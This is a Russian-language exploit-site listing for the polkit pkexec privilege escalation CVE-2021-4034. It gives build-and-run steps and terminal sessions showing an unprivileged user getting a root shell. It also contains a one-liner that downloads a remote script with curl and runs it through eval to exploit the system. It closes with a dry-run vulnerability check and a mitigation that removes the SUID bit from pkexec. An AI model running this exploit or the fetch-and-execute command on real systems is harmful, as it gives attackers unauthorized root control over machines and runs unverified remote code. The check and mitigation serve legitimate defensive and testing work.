Sploitus

Exploit for CVE-2021-4034

kitploit Β· 2026-08-27

Exploit Code

MARKDOWN124 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-POL-RUIZ-CVE-2021-4034
# CVE-2021-4034

Эксплойт для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ polkit Π·Π° ΠΎΠ΄ΠΈΠ½ дСнь

ΠŸΡ€ΠΎΡΡ‚ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ `make`, `./cve-2021-4034` ΠΈ Π½Π°ΡΠ»Π°ΠΆΠ΄Π°ΠΉΡ‚Π΅ΡΡŒ root-ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠΎΠΉ.

ΠžΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ advisory ΠΎΡ‚ настоящих Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² находится здСсь

## PoC

Если эксплойт сработаСт, Π²Ρ‹ сразу ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ root-ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΡƒ:

root@kitploit:~
    
    
    vagrant@ubuntu-impish:~/CVE-2021-4034$ make
    cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
    cc -Wall    cve-2021-4034.c   -o cve-2021-4034
    echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
    mkdir -p GCONV_PATH=.
    cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
    vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
    # whoami
    root
    # exit
    

ОбновлСниС polkit Π½Π° Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ систСм Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ эту ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ, поэтому Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ справку, ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ:

root@kitploit:~
    
    
    vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
    pkexec --version |
           --help |
           --disable-internal-agent |
           [--user username] PROGRAM [ARGUMENTS...]
    
    See the pkexec manual page for more details.
    vagrant@ubuntu-impish:~/CVE-2021-4034$
    

## ΠŸΡ€ΠΎΠ±Π½Ρ‹ΠΉ запуск

Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΡƒ, Π° просто ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, уязвима Π»ΠΈ систСма, собСритС Ρ†Π΅Π»ΡŒ `dry-run`.

Если ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ, вывСдя Β«rootΒ», это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ваша систСма уязвима ΠΊ эксплойту.

root@kitploit:~
    
    
    vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
    ...
    vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
    root
    vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
    1
    

Если ваша систСма Π½Π΅ уязвима, ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ.

root@kitploit:~
    
    
    vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
    pkexec --version |
           --help |
           --disable-internal-agent |
           [--user username] PROGRAM [ARGUMENTS...]
    
    See the pkexec manual page for more details.
    vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
    0
    

## О Polkit pkexec для Linux

Polkit (Ρ€Π°Π½Π΅Π΅ PolicyKit) β€” ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ для управлСния общСсистСмными привилСгиями Π² Unix-ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… систСмах. Он прСдоставляСт ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ способ взаимодСйствия Π½Π΅ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… процСссов с ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ. Π’Π°ΠΊΠΆΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ polkit ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ с ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½Π½Ρ‹ΠΌΠΈ привилСгиями, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ pkexec с ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ (с ΠΏΡ€Π°Π²Π°ΠΌΠΈ root).

# ΠžΠ΄Π½ΠΎΡΡ‚Ρ€ΠΎΡ‡Π½Ρ‹Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹

Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π»Π΅Π³ΠΊΠΎ ΡΠΊΡΠΏΠ»ΡƒΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ систСму с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ΄Π½ΠΎΠ³ΠΎ скрипта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΊΠ°Ρ‡Π°Ρ‚ΡŒ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ этой ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ:

root@kitploit:~
    
    
    eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
    

root@kitploit:~
    
    
    vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
    vagrant
    vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
    cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
    cc -Wall    cve-2021-4034.c   -o cve-2021-4034
    echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
    mkdir -p GCONV_PATH=.
    cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
    # whoami
    root
    

# ΠœΠ΅Ρ€Ρ‹ ΠΏΠΎ ΡΠΌΡΠ³Ρ‡Π΅Π½ΠΈΡŽ

Если для вашСй ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы Π½Π΅Ρ‚ исправлСний, Π² качСствС Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΌΠ΅Ρ€Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ½ΡΡ‚ΡŒ SUID-Π±ΠΈΡ‚ с pkexec.

root@kitploit:~
    
    
    # chmod 0755 /usr/bin/pkexec
    

ПослС этого эксплойт Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ с ошибкой ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρƒ `pkexec` Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ установлСн setuid-Π±ΠΈΡ‚.

root@kitploit:~
    
    
    vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
    vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
    GLib: Cannot convert message: Could not open converter from β€œUTF-8” to β€œPWNKIT”
    pkexec must be setuid root